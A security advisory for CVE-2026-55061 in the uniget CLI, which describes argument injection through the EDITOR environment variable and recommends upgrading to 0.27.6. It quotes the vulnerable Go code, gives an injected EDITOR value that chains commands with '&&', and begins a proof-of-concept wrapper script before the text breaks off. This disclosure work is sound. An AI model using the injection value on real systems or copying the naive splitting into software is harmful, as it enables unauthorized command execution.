Vulnerability in gitlab.com/uniget-org/cli (CVE-2026-55061)
Summary
Vulnerability in gitlab.com/uniget-org/cli (CVE-2026-55061). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 0.27.6 or later.
Original description
The description as published by the source.
Summary
The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.
Vulnerable Code:
editorWithArgs := strings.Split(editor, " ")
Location Context:
editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)
Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.
Step to Reproduce
**Step 1: **Create malicious editor wrapper
mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-…
